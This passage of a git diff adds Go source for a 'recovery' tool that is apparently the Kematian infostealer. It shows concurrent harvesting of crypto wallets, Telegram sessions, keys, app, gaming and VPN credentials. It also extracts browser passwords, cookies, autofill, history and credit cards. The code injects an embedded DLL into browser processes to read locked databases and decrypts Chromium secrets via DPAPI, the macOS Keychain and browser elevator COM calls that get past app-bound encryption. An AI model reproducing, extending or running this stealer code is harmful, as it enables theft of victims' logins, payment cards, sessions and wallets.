opts.Wallets { + wg.Add(1) + go func() { + defer wg.Done() + defer recoverErrors("wallet scan", &result.Errors, mu) + wallets := scanner.ScanWallets() + if len(wallets) > 0 { + mu.Lock() + result.Wallets = append(result.Wallets, wallets...) + mu.Unlock() + if partialFn != nil { + partialFn(&types.CollectionResult{Wallets: wallets}) + } + } + }() + } + + if opts.Telegram { + wg.Add(1) + go func() { + defer wg.Done() + defer recoverErrors("telegram scan", &result.Errors, mu) + sessions := scanner.ScanTelegram() + if len(sessions) > 0 { + mu.Lock() + result.Telegram = append(result.Telegram, sessions...) + mu.Unlock() + if partialFn != nil { + partialFn(&types.CollectionResult{Telegram: sessions}) + } + } + }() + } + + if opts.Keys { + wg.Add(1) + go func() { + defer wg.Done() + defer recoverErrors("key scan", &result.Errors, mu) + keys := scanner.ScanKeys() + if len(keys) > 0 { + mu.Lock() + result.Keys = append(result.Keys, keys...) + mu.Unlock() + if partialFn != nil { + partialFn(&types.CollectionResult{Keys: keys}) + } + } + }() + } + + if opts.Apps { + wg.Add(1) + go func() { + defer wg.Done() + defer recoverErrors("app credentials scan", &result.Errors, mu) + apps := scanner.ScanApps() + if len(apps) > 0 { + mu.Lock() + result.AppCredentials = append(result.AppCredentials, apps...) + mu.Unlock() + if partialFn != nil { + partialFn(&types.CollectionResult{AppCredentials: apps}) + } + } + }() + } + + if opts.Gaming { + wg.Add(1) + go func() { + defer wg.Done() + defer recoverErrors("gaming scan", &result.Errors, mu) + gaming := ScanGaming() + if gaming != nil { + mu.Lock() + result.Gaming = gaming + mu.Unlock() + if partialFn != nil { + partialFn(&types.CollectionResult{Gaming: gaming}) + } + } + }() + } + + if opts.VPNs { + wg.Add(1) + go func() { + defer wg.Done() + defer recoverErrors("vpn scan", &result.Errors, mu) + vpns := ScanVPNs() + if vpns != nil { + mu.Lock() + result.VPNs = vpns + mu.Unlock() + if partialFn != nil { + partialFn(&types.CollectionResult{VPNs: vpns}) + } + } + }() + } +} + +func extractProfileData(ctx context.Context, cfg types.BrowserConfig, keys *types.ResolvedKeys, profile types.ProfileInfo, pids []uint32, opts types.CollectOptions) *types.CollectionResult { + partial := &types.CollectionResult{} + var ( + wg sync.WaitGroup + eMu sync.Mutex + errs []string + ) + label := fmt.Sprintf("%s/%s", cfg.Name, profile.Name) + + if cfg.IsFirefox { + if opts.Passwords { + wg.Add(1) + go func() { + defer wg.Done() + defer recoverErrors(label+" password extraction", &errs, &eMu) + partial.Passwords = firefox.ExtractPasswords(profile, cfg, pids) + }() + } + if opts.Cookies { + wg.Add(1) + go func() { + defer wg.Done() + defer recoverErrors(label+" cookie extraction", &errs, &eMu) + partial.Cookies = firefox.ExtractCookies(profile, cfg) + }() + } + if opts.Autofill { + wg.Add(1) + go func() { + defer wg.Done() + defer recoverErrors(label+" autofill extraction", &errs, &eMu) + partial.Autofill = firefox.ExtractAutofill(profile, cfg, pids) + }() + } + if opts.History { + wg.Add(1) + go func() { + defer wg.Done() + defer recoverErrors(label+" history extraction", &errs, &eMu) + partial.History = firefox.ExtractHistory(profile, cfg) + }() + } + if opts.Bookmarks { + wg.Add(1) + go func() { + defer wg.Done() + defer recoverErrors(label+" bookmark extraction", &errs, &eMu) + partial.Bookmarks = firefox.ExtractBookmarks(profile, cfg) + }() + } + wg.Wait() + partial.Errors = errs + return partial + } + + if opts.Passwords { + wg.Add(1) + go func() { + defer wg.Done() + defer recoverErrors(label+" password extraction", &errs, &eMu) + partial.Passwords = chromium.ExtractPasswords(profile, cfg, keys, pids) + }() + } + if opts.Cookies { + wg.Add(1) + go func() { + defer wg.Done() + defer recoverErrors(label+" cookie extraction", &errs, &eMu) + partial.Cookies = chromium.ExtractCookies(profile, cfg, keys, pids) + }() + } + if opts.Autofill { + wg.Add(1) + go func() { + defer wg.Done() + defer recoverErrors(label+" autofill extraction", &errs, &eMu) + partial.Autofill = chromium.ExtractAutofill(profile, cfg, pids) + }() + } + if opts.History { + wg.Add(1) + go func() { + defer wg.Done() + defer recoverErrors(label+" history extraction", &errs, &eMu) + partial.History = chromium.ExtractHistory(profile, cfg, pids) + }() + } + if opts.Bookmarks { + wg.Add(1) + go func() { + defer wg.Done() + defer recoverErrors(label+" bookmark extraction", &errs, &eMu) + partial.Bookmarks = chromium.ExtractBookmarks(profile, cfg) + }() + } + if opts.CreditCards { + wg.Add(1) + go func() { + defer wg.Done() + defer recoverErrors(label+" credit card extraction", &errs, &eMu) + partial.CreditCards = chromium.ExtractCreditCards(profile, cfg, keys, pids) + }() + } + wg.Wait() + partial.Errors = errs + return partial +} diff --git a/native/recovery/collect_stub.go b/native/recovery/collect_stub.go new file mode 100644 index 0000000..0d1da7d --- /dev/null +++ b/native/recovery/collect_stub.go @@ -0,0 +1,7 @@ +//go:build !windows + +package recovery + +func platformSetupCollect() {} + +func platformTeardownCollect() {} diff --git a/native/recovery/collect_windows.go b/native/recovery/collect_windows.go new file mode 100644 index 0000000..feb102c --- /dev/null +++ b/native/recovery/collect_windows.go @@ -0,0 +1,41 @@ +//go:build windows + +package recovery + +import ( + "os" + + "recovery/recovery/browser" + "recovery/recovery/platform" +) + +func platformSetupCollect() { + if os.Getenv("KEMATIAN_NO_INJECT") != "" { + logf("injection disabled via KEMATIAN_NO_INJECT — direct file access only") + return + } + + dllBytes := platform.GetEmbeddedDLL() + if dllBytes != nil { + for _, cfg := range browser.Browsers { + logf("attempting DLL injection into %s", cfg.Name) + session, err := platform.CreatePipeSession(dllBytes, cfg.Name) + if err != nil { + logf("inject %s failed: %v", cfg.Name, err) + continue + } + _ = session + logf("pipe session established with %s", cfg.Name) + break + } + } else { + logf("no embedded DLL — direct file access only") + } +} + +func platformTeardownCollect() { + if platform.ActivePipeSession != nil { + platform.ActivePipeSession.Close() + platform.ActivePipeSession = nil + } +} diff --git a/native/recovery/crypto/crypto.go b/native/recovery/crypto/crypto.go new file mode 100644 index 0000000..39a109e --- /dev/null +++ b/native/recovery/crypto/crypto.go @@ -0,0 +1,31 @@ +package crypto + +import "strings" + +func CleanPassword(data []byte) string { + s := string(data) + allPrint := true + for _, c := range s { + if c < 32 && c != '\t' && c != '\n' && c != '\r' { + allPrint = false + break + } + } + if allPrint { + return strings.TrimSpace(s) + } + if len(data) > 32 { + s2 := string(data[32:]) + allPrint2 := true + for _, c := range s2 { + if c < 32 && c != '\t' && c != '\n' && c != '\r' { + allPrint2 = false + break + } + } + if allPrint2 { + return strings.TrimSpace(s2) + } + } + return "" +} diff --git a/native/recovery/crypto/crypto_darwin.go b/native/recovery/crypto/crypto_darwin.go new file mode 100644 index 0000000..e320d13 --- /dev/null +++ b/native/recovery/crypto/crypto_darwin.go @@ -0,0 +1,163 @@ +//go:build darwin + +package crypto + +import ( + "crypto/aes" + "crypto/cipher" + "crypto/sha1" + "encoding/json" + "fmt" + "os" + "os/exec" + "strings" + + "recovery/recovery/browser" + "recovery/recovery/types" + + "golang.org/x/crypto/pbkdf2" +) + +const ( + darwinChromeSalt = "saltysalt" + darwinChromeIterations = 1003 + darwinChromeKeyLen = 16 +) + +var chromeKeychainServices = map[string]string{ + "Chrome": "Chrome Safe Storage", + "Chrome Beta": "Chrome Safe Storage", + "Chrome Canary": "Chrome Safe Storage", + "Chromium": "Chromium Safe Storage", + "Edge": "Microsoft Edge Safe Storage", + "Brave": "Brave Safe Storage", + "Vivaldi": "Vivaldi Safe Storage", + "Opera": "Opera Safe Storage", + "Opera GX": "Opera Safe Storage", + "Arc": "Arc Safe Storage", + "Yandex": "Yandex Safe Storage", +} + +func getKeychainPassword(browserName string) (string, error) { + service, ok := chromeKeychainServices[browserName] + if !ok { + service = browserName + " Safe Storage" + } + + cmd := exec.Command("security", "find-generic-password", "-wa", service) + out, err := cmd.Output() + if err != nil { + return "", fmt.Errorf("keychain lookup failed for %s: %w", service, err) + } + return strings.TrimSpace(string(out)), nil +} + +func ResolveKeys(cfg types.BrowserConfig) (*types.ResolvedKeys, error) { + if cfg.IsFirefox { + return &types.ResolvedKeys{}, nil + } + + localStatePath := browser.LocalStatePath(cfg) + if _, err := os.Stat(localStatePath); err != nil { + // fuck it we still trying + return resolveKeyFromKeychain(cfg) + } + + data, err := os.ReadFile(localStatePath) + if err != nil { + return resolveKeyFromKeychain(cfg) + } + + var localState map[string]interface{} + if err := json.Unmarshal(data, &localState); err != nil { + return resolveKeyFromKeychain(cfg) + } + + return resolveKeyFromKeychain(cfg) +} + +func resolveKeyFromKeychain(cfg types.BrowserConfig) (*types.ResolvedKeys, error) { + password, err := getKeychainPassword(cfg.Name) + if err != nil { + return nil, fmt.Errorf("could not get keychain password for %s: %w", cfg.Name, err) + } + + key := pbkdf2.Key([]byte(password), []byte(darwinChromeSalt), darwinChromeIterations, darwinChromeKeyLen, sha1.New) + return &types.ResolvedKeys{V10: key}, nil +} + +func DecryptChromiumBlob(encrypted []byte, v10Key, v20Key []byte) string { + if len(encrypted) == 0 { + return "" + } + + if len(encrypted) < 3 { + return "" + } + prefix := string(encrypted[:3]) + if prefix != "v10" && prefix != "v11" { + return "" + } + + key := v10Key + if key == nil || len(key) == 0 { + return "" + } + + ciphertext := encrypted[3:] + if len(ciphertext) == 0 || len(ciphertext)%aes.BlockSize != 0 { + return "" + } + + plaintext, err := aesCBCDecrypt(key, ciphertext) + if err != nil { + return "" + } + return CleanPassword(plaintext) +} + +func aesCBCDecrypt(key, ciphertext []byte) ([]byte, error) { + block, err := aes.NewCipher(key) + if err != nil { + return nil, err + } + + iv := make([]byte, aes.BlockSize) + for i := range iv { + iv[i] = 0x20 + } + + if len(ciphertext) < aes.BlockSize { + return nil, fmt.Errorf("ciphertext too short") + } + + mode := cipher.NewCBCDecrypter(block, iv) + plaintext := make([]byte, len(ciphertext)) + mode.CryptBlocks(plaintext, ciphertext) + + plaintext = pkcs5Unpad(plaintext) + if plaintext == nil { + return nil, fmt.Errorf("invalid padding") + } + return plaintext, nil +} + +func pkcs5Unpad(data []byte) []byte { + if len(data) == 0 { + return nil + } + padLen := int(data[len(data)-1]) + if padLen == 0 || padLen > aes.BlockSize || padLen > len(data) { + return nil + } + for i := len(data) - padLen; i < len(data); i++ { + if data[i] != byte(padLen) { + return nil + } + } + return data[:len(data)-padLen] +} + +func CryptUnprotectData(in []byte) ([]byte, error) { + return nil, fmt.Errorf("DPAPI not available on macOS") +} diff --git a/native/recovery/crypto/crypto_linux.go b/native/recovery/crypto/crypto_linux.go new file mode 100644 index 0000000..8c06214 --- /dev/null +++ b/native/recovery/crypto/crypto_linux.go @@ -0,0 +1,128 @@ +//go:build linux + +package crypto + +import ( + "crypto/aes" + "crypto/cipher" + "crypto/sha1" + "encoding/json" + "fmt" + "os" + + "recovery/recovery/browser" + "recovery/recovery/types" + + "golang.org/x/crypto/pbkdf2" +) + +const ( + linuxChromePassword = "peanuts" + linuxChromeSalt = "saltysalt" + linuxChromeIterations = 1 + linuxChromeKeyLen = 16 +) + +func ResolveKeys(cfg types.BrowserConfig) (*types.ResolvedKeys, error) { + if cfg.IsFirefox { + return &types.ResolvedKeys{}, nil + } + + localStatePath := browser.LocalStatePath(cfg) + if _, err := os.Stat(localStatePath); err != nil { + key := pbkdf2.Key([]byte(linuxChromePassword), []byte(linuxChromeSalt), linuxChromeIterations, linuxChromeKeyLen, sha1.New) + return &types.ResolvedKeys{V10: key}, nil + } + + data, err := os.ReadFile(localStatePath) + if err != nil { + key := pbkdf2.Key([]byte(linuxChromePassword), []byte(linuxChromeSalt), linuxChromeIterations, linuxChromeKeyLen, sha1.New) + return &types.ResolvedKeys{V10: key}, nil + } + + var localState map[string]interface{} + if err := json.Unmarshal(data, &localState); err != nil { + key := pbkdf2.Key([]byte(linuxChromePassword), []byte(linuxChromeSalt), linuxChromeIterations, linuxChromeKeyLen, sha1.New) + return &types.ResolvedKeys{V10: key}, nil + } + + key := pbkdf2.Key([]byte(linuxChromePassword), []byte(linuxChromeSalt), linuxChromeIterations, linuxChromeKeyLen, sha1.New) + return &types.ResolvedKeys{V10: key}, nil +} + +func DecryptChromiumBlob(encrypted []byte, v10Key, v20Key []byte) string { + if len(encrypted) == 0 { + return "" + } + + if len(encrypted) < 3 { + return "" + } + prefix := string(encrypted[:3]) + if prefix != "v10" && prefix != "v11" { + return "" + } + + key := v10Key + if key == nil || len(key) == 0 { + return "" + } + + ciphertext := encrypted[3:] + if len(ciphertext) == 0 || len(ciphertext)%aes.BlockSize != 0 { + return "" + } + + plaintext, err := aesCBCDecrypt(key, ciphertext) + if err != nil { + return "" + } + return CleanPassword(plaintext) +} + +func aesCBCDecrypt(key, ciphertext []byte) ([]byte, error) { + block, err := aes.NewCipher(key) + if err != nil { + return nil, err + } + + iv := make([]byte, aes.BlockSize) + for i := range iv { + iv[i] = 0x20 + } + + if len(ciphertext) < aes.BlockSize { + return nil, fmt.Errorf("ciphertext too short") + } + + mode := cipher.NewCBCDecrypter(block, iv) + plaintext := make([]byte, len(ciphertext)) + mode.CryptBlocks(plaintext, ciphertext) + + // PKCS5/PKCS7 unpad + plaintext = pkcs5Unpad(plaintext) + if plaintext == nil { + return nil, fmt.Errorf("invalid padding") + } + return plaintext, nil +} + +func pkcs5Unpad(data []byte) []byte { + if len(data) == 0 { + return nil + } + padLen := int(data[len(data)-1]) + if padLen == 0 || padLen > aes.BlockSize || padLen > len(data) { + return nil + } + for i := len(data) - padLen; i < len(data); i++ { + if data[i] != byte(padLen) { + return nil + } + } + return data[:len(data)-padLen] +} + +func CryptUnprotectData(in []byte) ([]byte, error) { + return nil, fmt.Errorf("DPAPI not available on Linux") +} diff --git a/native/recovery/crypto/crypto_windows.go b/native/recovery/crypto/crypto_windows.go new file mode 100644 index 0000000..71061ca --- /dev/null +++ b/native/recovery/crypto/crypto_windows.go @@ -0,0 +1,372 @@ +//go:build windows + +package crypto + +import ( + "crypto/aes" + "crypto/cipher" + "encoding/base64" + "encoding/json" + "fmt" + "os" + "syscall" + "unsafe" + + "recovery/recovery/browser" + "recovery/recovery/platform" + "recovery/recovery/types" + + "golang.org/x/sys/windows" +) + +var ( + modCrypt32 = windows.NewLazySystemDLL("crypt32.dll") + procCryptUnprotectData = modCrypt32.NewProc("CryptUnprotectData") +) + +type dataBlob struct { + cbData uint32 + pbData *byte +} + +func CryptUnprotectData(in []byte) ([]byte, error) { + var inBlob, outBlob dataBlob + inBlob.cbData = uint32(len(in)) + if len(in) > 0 { + inBlob.pbData = &in[0] + } + + r, _, err := procCryptUnprotectData.Call( + uintptr(unsafe.Pointer(&inBlob)), + 0, 0, 0, 0, 0, + uintptr(unsafe.Pointer(&outBlob)), + ) + if r == 0 { + return nil, fmt.Errorf("CryptUnprotectData: %w", err) + } + defer windows.LocalFree(windows.Handle(uintptr(unsafe.Pointer(outBlob.pbData)))) + + out := make([]byte, outBlob.cbData) + for i := range out { + out[i] = *(*byte)(unsafe.Pointer(uintptr(unsafe.Pointer(outBlob.pbData)) + uintptr(i))) + } + return out, nil +} + +var ( + clsidChromeElevator = windows.GUID{ + Data1: 0x708860E0, Data2: 0xF641, Data3: 0x4611, + Data4: [8]byte{0x88, 0x95, 0x7D, 0x86, 0x7D, 0xD3, 0x67, 0x5B}, + } + iidChromeElevatorV2 = windows.GUID{ + Data1: 0x1BF5208B, Data2: 0x295F, Data3: 0x4992, + Data4: [8]byte{0xB5, 0xF4, 0x3A, 0x9B, 0xB6, 0x49, 0x48, 0x38}, + } + iidChromeElevatorV1 = windows.GUID{ + Data1: 0x463ABECF, Data2: 0x410D, Data3: 0x407F, + Data4: [8]byte{0x8A, 0xF5, 0x0D, 0xF3, 0x5A, 0x00, 0x5C, 0xC8}, + } + clsidEdgeElevator = windows.GUID{ + Data1: 0x1FCBE96C, Data2: 0x1697, Data3: 0x43AF, + Data4: [8]byte{0x91, 0x40, 0x28, 0x97, 0xC7, 0xC6, 0x97, 0x67}, + } + iidEdgeElevator = windows.GUID{ + Data1: 0xC9C2B807, Data2: 0x7731, Data3: 0x4F34, + Data4: [8]byte{0x81, 0xB7, 0x44, 0xFF, 0x77, 0x79, 0x52, 0x2B}, + } + clsidBraveElevator = windows.GUID{ + Data1: 0x576B31AF, Data2: 0x6369, Data3: 0x4B6B, + Data4: [8]byte{0x85, 0x60, 0xE4, 0xB2, 0x03, 0xA9, 0x7A, 0x8B}, + } + iidBraveElevatorV2 = windows.GUID{ + Data1: 0x1BF5208B, Data2: 0x295F, Data3: 0x4992, + Data4: [8]byte{0xB5, 0xF4, 0x3A, 0x9B, 0xB6, 0x49, 0x48, 0x38}, + } + iidBraveElevatorV1 = windows.GUID{ + Data1: 0xF396861E, Data2: 0x0C8E, Data3: 0x4C71, + Data4: [8]byte{0x82, 0x56, 0x2F, 0xAE, 0x6D, 0x75, 0x9C, 0xE9}, + } +) + +func safeV20KeyViaCOM(cfg types.BrowserConfig, encBlob []byte) (key []byte, err error) { + defer func() { + if r := recover(); r != nil { + err = fmt.Errorf("COM panic: %v", r) + } + }() + return tryV20KeyViaCOM(cfg, encBlob) +} + +func tryV20KeyViaCOM(cfg types.BrowserConfig, encBlob []byte) ([]byte, error) { + hr := coInitializeEx() + if hr != 0 { + return nil, fmt.Errorf("CoInitializeEx: 0x%08x", hr) + } + defer coUninitialize() + + clsid := clsidChromeElevator + iid := iidChromeElevatorV2 + if cfg.Name == "Edge" { + clsid = clsidEdgeElevator + iid = iidEdgeElevator + } else if cfg.Name == "Brave" { + clsid = clsidBraveElevator + iid = iidBraveElevatorV2 + } + + var unknown *IUnknown + hr = coCreateInstance(&clsid, nil, 4, &iid, (*unsafe.Pointer)(unsafe.Pointer(&unknown))) + if hr != 0 && cfg.Name == "Chrome" { + hr = coCreateInstance(&clsid, nil, 4, &iidChromeElevatorV1, (*unsafe.Pointer)(unsafe.Pointer(&unknown))) + } + if hr != 0 && cfg.Name == "Brave" { + hr = coCreateInstance(&clsid, nil, 4, &iidBraveElevatorV1, (*unsafe.Pointer)(unsafe.Pointer(&unknown))) + } + if hr != 0 { + return nil, fmt.Errorf("CoCreateInstance: 0x%08x", hr) + } + defer unknown.Release() + + hr = coSetProxyBlanket(unknown) + if hr != 0 { + logf("CoSetProxyBlanket warning: 0x%08x", hr) + } + + bstrCipher := sysAllocStringByteLen(encBlob) + if bstrCipher == nil { + return nil, fmt.Errorf("SysAllocStringByteLen failed") + } + defer sysFreeString(bstrCipher) + + var bstrPlain *uint16 + var lastErr uint32 + hr = callDecryptData(unknown, bstrCipher, &bstrPlain, &lastErr) + if hr != 0 || bstrPlain == nil { + return nil, fmt.Errorf("DecryptData: 0x%08x (lastError=%d)", hr, lastErr) + } + defer sysFreeString(bstrPlain) + + keyLen := sysStringByteLen(bstrPlain) + if keyLen < 32 { + return nil, fmt.Errorf("decrypted key too short: %d bytes", keyLen) + } + + result := make([]byte, 32) + for i := 0; i < 32; i++ { + result[i] = *(*byte)(unsafe.Pointer(uintptr(unsafe.Pointer(bstrPlain)) + uintptr(i))) + } + return result, nil +} + +func coInitializeEx() uint32 { + r, _, _ := windows.NewLazySystemDLL("ole32.dll").NewProc("CoInitializeEx").Call(0, 2) + return uint32(r) +} + +func coUninitialize() { + windows.NewLazySystemDLL("ole32.dll").NewProc("CoUninitialize").Call() +} + +func coCreateInstance(clsid *windows.GUID, unknown *IUnknown, clsCtx uint32, iid *windows.GUID, ppv *unsafe.Pointer) uint32 { + r, _, _ := windows.NewLazySystemDLL("ole32.dll").NewProc("CoCreateInstance").Call( + uintptr(unsafe.Pointer(clsid)), + uintptr(unsafe.Pointer(unknown)), + uintptr(clsCtx), + uintptr(unsafe.Pointer(iid)), + uintptr(unsafe.Pointer(ppv)), + ) + return uint32(r) +} + +func coSetProxyBlanket(unknown *IUnknown) uint32 { + r, _, _ := windows.NewLazySystemDLL("ole32.dll").NewProc("CoSetProxyBlanket").Call( + uintptr(unsafe.Pointer(unknown)), + 0xFFFFFFFF, 0xFFFFFFFF, 0, + 6, 4, 0, 0x400, + ) + return uint32(r) +} + +func sysAllocStringByteLen(b []byte) *uint16 { + if len(b) == 0 { + return nil + } + r, _, _ := windows.NewLazySystemDLL("oleaut32.dll").NewProc("SysAllocStringByteLen").Call( + uintptr(unsafe.Pointer(&b[0])), + uintptr(len(b)), + ) + return (*uint16)(unsafe.Pointer(r)) +} + +func sysFreeString(s *uint16) { + if s != nil { + windows.NewLazySystemDLL("oleaut32.dll").NewProc("SysFreeString").Call(uintptr(unsafe.Pointer(s))) + } +} + +func sysStringByteLen(s *uint16) int { + r, _, _ := windows.NewLazySystemDLL("oleaut32.dll").NewProc("SysStringByteLen").Call(uintptr(unsafe.Pointer(s))) + return int(r) +} + +type IUnknown struct { + vtbl *iUnknownVtbl +} + +type iUnknownVtbl struct { + QueryInterface uintptr + AddRef uintptr + Release uintptr +} + +func (u *IUnknown) Release() { + syscall.SyscallN(u.vtbl.Release, uintptr(unsafe.Pointer(u))) +} + +func callDecryptData(unknown *IUnknown, bstrCipher *uint16, pbstrPlain **uint16, pLastError *uint32) uint32 { + type elevatorVtbl struct { + QueryInterface uintptr + AddRef uintptr + Release uintptr + RunRecoveryCRXElevated uintptr + EncryptData uintptr + DecryptData uintptr + } + vtbl := (*elevatorVtbl)(unsafe.Pointer(unknown.vtbl)) + r, _, _ := syscall.SyscallN(vtbl.DecryptData, + uintptr(unsafe.Pointer(unknown)), + uintptr(unsafe.Pointer(bstrCipher)), + uintptr(unsafe.Pointer(pbstrPlain)), + uintptr(unsafe.Pointer(pLastError)), + ) + return uint32(r) +} + +func ResolveKeys(cfg types.BrowserConfig) (*types.ResolvedKeys, error) { + if cfg.IsFirefox { + return &types.ResolvedKeys{}, nil + } + + keys := &types.ResolvedKeys{} + localStatePath := browser.LocalStatePath(cfg) + + data, err := os.ReadFile(localStatePath) + if err != nil { + return nil, fmt.Errorf("read Local State: %w", err) + } + + var localState map[string]interface{} + if err := json.Unmarshal(data, &localState); err != nil { + return nil, fmt.Errorf("parse Local State: %w", err) + } + + osCrypt, _ := localState["os_crypt"].(map[string]interface{}) + if osCrypt == nil { + return nil, fmt.Errorf("no os_crypt section in Local State") + } + + if encKey, ok := osCrypt["encrypted_key"].(string); ok && encKey != "" { + decoded, err := base64.StdEncoding.DecodeString(encKey) + if err == nil && len(decoded) > 5 && string(decoded[:5]) == "DPAPI" { + v10Key, err := CryptUnprotectData(decoded[5:]) + if err == nil { + keys.V10 = v10Key + logf("resolved V10 (DPAPI) key, %d bytes", len(v10Key)) + } else { + logf("V10 DPAPI failed: %v", err) + } + } + } + + if appBoundKey, ok := osCrypt["app_bound_encrypted_key"].(string); ok && appBoundKey != "" { + decoded, err := base64.StdEncoding.DecodeString(appBoundKey) + if err == nil && len(decoded) > 4 { + encBlob := decoded[4:] + + var v20Key []byte + if platform.ActivePipeSession == nil { + err = fmt.Errorf("no active pipe session") + } else { + encB64 := base64.StdEncoding.EncodeToString(encBlob) + v20Key, err = platform.ActivePipeSession.GetV20Key(cfg.Name, encB64) + } + if err != nil { + if platform.ActivePipeSession == nil { + if cfg.Name != "Chrome" { + logf("V20 via pipe failed (%s): %v, falling back to direct COM", cfg.Name, err) + v20Key, err = safeV20KeyViaCOM(cfg, encBlob) + } else { + logf("V20 via pipe failed (Chrome): %v — COM unsafe without browser session, skipping", err) + err = fmt.Errorf("Chrome V20 requires browser session") + } + } else { + logf("V20 via pipe failed (%s): %v, trying browser-specific injection", cfg.Name, err) + v20Key, err = platform.TryV20KeyViaBrowserSession(cfg.ProcessName, cfg.Name, encBlob) + if err != nil { + logf("browser-specific injection for V20 also failed (%s): %v", cfg.Name, err) + } + } + } + if err == nil { + keys.V20 = v20Key + logf("resolved V20 (App-Bound) key for %s, %d bytes", cfg.Name, len(v20Key)) + } else { + logf("V20 key unavailable for %s: %v", cfg.Name, err) + } + } + } + + if keys.V10 == nil && keys.V20 == nil { + return nil, fmt.Errorf("could not resolve any master key") + } + + return keys, nil +} + +func DecryptChromiumBlob(encrypted []byte, v10Key, v20Key []byte) string { + if len(encrypted) == 0 { + return "" + } + + var key []byte + if len(encrypted) >= 3 { + switch string(encrypted[:3]) { + case "v10", "v11": + key = v10Key + case "v20": + key = v20Key + } + } + + if key == nil || len(key) == 0 { + return "" + } + if len(encrypted) < 3+12+16 { + return "" + } + + nonce := encrypted[3:15] + tag := encrypted[len(encrypted)-16:] + ciphertext := encrypted[15 : len(encrypted)-16] + + plaintext, err := aesGCMDecrypt(key, nonce, ciphertext, tag) + if err != nil { + return "" + } + return CleanPassword(plaintext) +} + +func aesGCMDecrypt(key, nonce, ciphertext, tag []byte) ([]byte, error) { + block, err := aes.NewCipher(key) + if err != nil { + return nil, err + } + aesGCM, err := cipher.NewGCM(block) + if err != nil { + return nil, err + } + ctWithTag := make([]byte, len(ciphertext)+len(tag)) + copy(ctWithTag, ciphertext) + copy(ctWithTag[len(ciphertext):], tag) + return aesGCM.Open(nil, nonce, ctWithTag, nil) +} diff --git a/native/recovery/crypto/log.go b/native/recovery/crypto/log.go new file mode 100644 index 0000000..dc8d5df --- /dev/null +++ b/native/recovery/crypto/log.go @@ -0,0 +1,7 @@ +package crypto + +import "log" + +func logf(format string, args ...interface{}) { + log.Printf("[crypto] "+format, args...) +} diff --git a/native/recovery/db/clone_test.go b/native/recovery/db/clone_test.go new file mode 100644 index 0000000..4b55c09 --- /dev/null +++ b/native/recovery/db/clone_test.go @@ -0,0 +1,44 @@ +package db + +import ( + "database/sql" + "path/filepath" + "testing" + + _ "github.com/mattn/go-sqlite3" +) + +func TestOpenDatabaseReadsLiveWAL(t *testing.T) { + dir := t.TempDir() + dbPath := filepath.Join(dir, "Cookies") + + live, err := sql.Open("sqlite3", dbPath) + if err != nil { + t.Fatal(err) + } + live.SetMaxOpenConns(1) + defer live.Close() + if _, err := live.Exec("PRAGMA journal_mode=WAL"); err != nil { + t.Fatal(err) + } + if _, err := live.Exec("CREATE TABLE cookies (host_key TEXT, value TEXT)"); err != nil { + t.Fatal(err) + } + if _, err := live.Exec("INSERT INTO cookies VALUES ('example.com', 'secret')"); err != nil { + t.Fatal(err) + } + + d, err := OpenDatabase(dbPath, nil) + if err != nil { + t.Fatalf("OpenDatabase: %v", err) + } + defer d.Close() + + var n int + if err := d.QueryRow("SELECT COUNT(*) FROM cookies").Scan(&n); err != nil { + t.Fatalf("query: %v", err) + } + if n != 1 { + t.Fatalf("expected 1 cookie row, got %d", n) + } +} diff --git a/native/recovery/db/db.go b/native/recovery/db/db.go new file mode 100644 index 0000000..5ccd3c0 --- /dev/null +++ b/native/recovery/db/db.go @@ -0,0 +1,122 @@ +package db + +import ( + "context" + "database/sql" + "fmt" + "os" + "path/filepath" + "strings" + + "recovery/recovery/platform" + + sqlite3 "github.com/mattn/go-sqlite3" +) + +func OpenDatabase(dbPath string, pids []uint32) (*sql.DB, error) { + cleanPath := dbPath + if i := strings.IndexByte(dbPath, '?'); i >= 0 { + cleanPath = dbPath[:i] + } + + hasWAL := false + if wal, err := os.Stat(cleanPath + "-wal"); err == nil && wal.Size() > 0 { + hasWAL = true + } + + if !hasWAL { + uri := fmt.Sprintf("file:%s?mode=ro&nolock=1&immutable=1", dbPath) + if db, err := sql.Open("sqlite3", uri); err == nil { + if err := db.Ping(); err == nil { + logf("opened %s via immutable snapshot", dbPath) + return db, nil + } + db.Close() + } + } + + if snapshot, cloneErr := cloneSnapshot(cleanPath, pids); cloneErr == nil { + logf("opened %s via cloned snapshot (%d bytes)", dbPath, len(snapshot)) + return OpenDatabaseFromBytes(snapshot) + } else { + logf("clone failed for %s: %v; falling back to direct read", dbPath, cloneErr) + } + + data, err := platform.ReadLockedFile(cleanPath, pids) + if err != nil { + return nil, fmt.Errorf("open %s: %w", dbPath, err) + } + logf("opened %s via injected ReadLockedFile (%d bytes)", dbPath, len(data)) + return OpenDatabaseFromBytes(data) +} + +func cloneSnapshot(dbPath string, pids []uint32) ([]byte, error) { + tmp, err := os.MkdirTemp("", "kematian_db_*") + if err != nil { + return nil, err + } + defer os.RemoveAll(tmp) + + clonePath := filepath.Join(tmp, filepath.Base(dbPath)) + + mainData, err := platform.ReadLockedFile(dbPath, pids) + if err != nil { + return nil, err + } + if err := os.WriteFile(clonePath, mainData, 0600); err != nil { + return nil, err + } + + for _, suffix := range []string{"-wal", "-journal"} { + src := dbPath + suffix + if info, err := os.Stat(src); err == nil && info.Size() > 0 { + if data, err := platform.ReadLockedFile(src, pids); err == nil { + if err := os.WriteFile(clonePath+suffix, data, 0600); err != nil { + return nil, err + } + } + } + } + + d, err := sql.Open("sqlite3", clonePath) + if err != nil { + return nil, err + } + d.SetMaxOpenConns(1) + if _, err := d.Exec("PRAGMA journal_mode=DELETE"); err != nil { + d.Close() + return nil, err + } + d.Close() + + return os.ReadFile(clonePath) +} + +func OpenDatabaseFromBytes(data []byte) (*sql.DB, error) { + db, err := sql.Open("sqlite3", ":memory:") + if err != nil { + return nil, err + } + db.SetMaxOpenConns(1) + + conn, err := db.Conn(context.Background()) + if err != nil { + db.Close() + return nil, err + } + + err = conn.Raw(func(driverConn interface{}) error { + sqliteConn, ok := driverConn.(*sqlite3.SQLiteConn) + if !ok { + return fmt.Errorf("not a sqlite3 connection") + } + return sqliteConn.Deserialize(data, "main") + }) + conn.Close() + + if err != nil { + db.Close() + return nil, fmt.Errorf("deserialize: %w", err) + } + return db, nil +} diff --git a/native/recovery/db/log.go b/native/recovery/db/log.go new file mode 100644 index 0000000..40c6612 --- /dev/null +++ b/native/recovery/db/log.go @@ -0,0 +1,7 @@ +package db + +import "log" + +func logf(format string, args ...interface{}) { + log.Printf("[db] "+format, args...) +} diff --git a/native/recovery/discord/common.go b/native/recovery/discord/common.go new file mode 100644 index 0000000..4bc860a --- /dev/null +++ b/native/recovery/discord/common.go @@ -0,0 +1,35 @@ +package discord + +import ( + 